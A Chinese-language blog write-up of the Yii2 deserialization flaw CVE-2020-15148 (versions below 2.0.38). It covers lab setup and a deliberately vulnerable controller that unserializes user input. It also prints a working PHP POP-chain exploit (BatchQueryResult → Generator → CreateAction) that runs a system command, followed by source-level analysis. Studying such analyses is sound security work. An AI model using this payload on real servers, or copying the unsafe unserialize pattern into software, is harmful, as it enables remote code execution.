Yii2 反序列化漏洞(CVE-2020-15148)

  • Yii2 反序列化漏洞(CVE-2020-15148)
  • 影响范围:Yii2 < 2.0.38
  • 在GitHub上下载Yii2.0.37,选择下载yii-basic-app-2.0.37.tgz
  • 下载后放到phpstudy下的WWW目录,访问http://localhost/frame/Yii2.0.37/web/index.php
  • 访问成功图片 此图代表成功

  • config/web.php中要修改'cookieValidationKey' => 'test'

  • 还需要添加一个漏洞入口,建立/controllers/TestController.php文件,添加如下代码
<?php
namespace app\controllers;
use Yii;
use yii\web\Controller;

class TestController extends \yii\web\Controller
{

    public function actionSss()
    {
        // code...
        $data = Yii::$app->request->get('data');
        return unserialize(base64_decode($data));
    }
}

?>

EXP

  • 先放exp
<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'ls -al';   //注意如果是Windows系统,要使用Windows命令
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction, 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
  • exp中总共使用了三个类,分别是BatchQueryResult、Generator、CreateAction,接下来我通过分析exp来分析漏洞

POP链分析

  1. new了一个BatchQueryResult对象,导致执行了BatchQueryResult类下的__construct函数,所以BatchQueryResult类是整个exp链的起点。
  2. BatchQueryResult类下的__construct函数new了一个Generator对象,导致执行了Generator类下的__construct函数
  3. Generator类下的__construct函数new了一个CreateAction对象,导致执行了CreateAction类下的__construct函数
  4. 最后因为CreateAction类中run()方法中的checkAccess和id的值是可控的,导致了RCE。

漏洞分析

1. BatchQueryResult.php

<?php
class BatchQueryResult extends BaseObject implements \Iterator
{
    public function __destruct()
        {
            // make sure cursor is closed
            $this->reset();
        }

    public function reset()
        {
            if ($this->_dataReader !== null) {
                $this->_dataReader->close();
            }
            $this->_dataReader = null;
            $this->_batch = null;
            $this->_value = null;
            $this->_key = null;
        }
}
  • 先介绍__all方法:__call()方法用于监视错误的方法调用。该方法在调用的方法不存在时会自动调用,程序会继续执行下去。该方法有两个参数,第一个参数会自动接收不存在的方法名,第二个参数则以数组的方式接收不存在方法的多个参数。
  • __destruct()中调用了reset(),而reset()中的$this->_dataReader可控,并且这里的$this->_dataReader->close()可以利用魔法函数__call(),这就说明在EXP的第二个类Generator存在可利用的__call()方法,继续跟进Generator.php

2. Generator.php

<?php
class Generator
{
    protected $formatters = array();

    /**
     *__call()方法
     */
     public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }

    /**
     *__call()方法调用的$this->format($method, $attributes)
     */
    public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

    /**
     *format($method, $attributes)方法调用的$this->getFormatter($formatter)
     */
    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }
}
  • __call()方法调用了format()方法
  • format()方法又调用call_user_func_array()函数,但是$formatter和$arguments不可控,然后发现有$this->getFormatter($formatter),说明$formatter传入了getFormatter()函数
  • getFormatter($formatter)方法中的返回值我们可控,也就是说call_user_func_array()这个函数的第一个参数可控,第二个参数为空,这是因为在链开始的$this->_dataReader->close()中我们没有传入参数
  • 我们需要找一个不需要参数的方法来RCE,根据EXP我们可知这个函数是CreateAction类中的run()方法

3.CreateAction.php

<?php
class CreateAction extends Action
{
    public function run()
    {
        if ($this->checkAccess) {
            call_user_func($this->checkAccess, $this->id);
        }

        /* @var $model \yii\db\ActiveRecord */
        $model = new $this->modelClass([
            'scenario' => $this->scenario,
        ]);

        $model->load(Yii::$app->getRequest()->getBodyParams(), '');
        if ($model->save()) {
            $response = Yii::$app->getResponse();
            $response->setStatusCode(201);
            $id = implode(',', array_values($model->getPrimaryKey(true)));
            $response->getHeaders()->set('Location', Url::toRoute([$this->viewAction, 'id' => $id], true));
        } elseif (!$model->hasErrors()) {
            throw new ServerErrorHttpException('Failed to create the object for unknown reason.');
        }

        return $model;
    }
}
  • 这里用到了call_user_func(),call_user_func()是利用回调函数处理字符串,而call_user_func_array()是利用回调函数处理数组
  • call_user_func($this->checkAccess, $this->id);所以$this->checkAccess, $this->id都可控

2021/8/26更新

  • 上面是Yii2 < 2.0.38的漏洞,我又在先知社区看到了Yii 2.0.42的反序列化漏洞,文章链接:https://xz.aliyun.com/t/9948

文章作者: MissPower007
文章链接: http://time.pings.fun
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 MissPower007 !
评论
  目录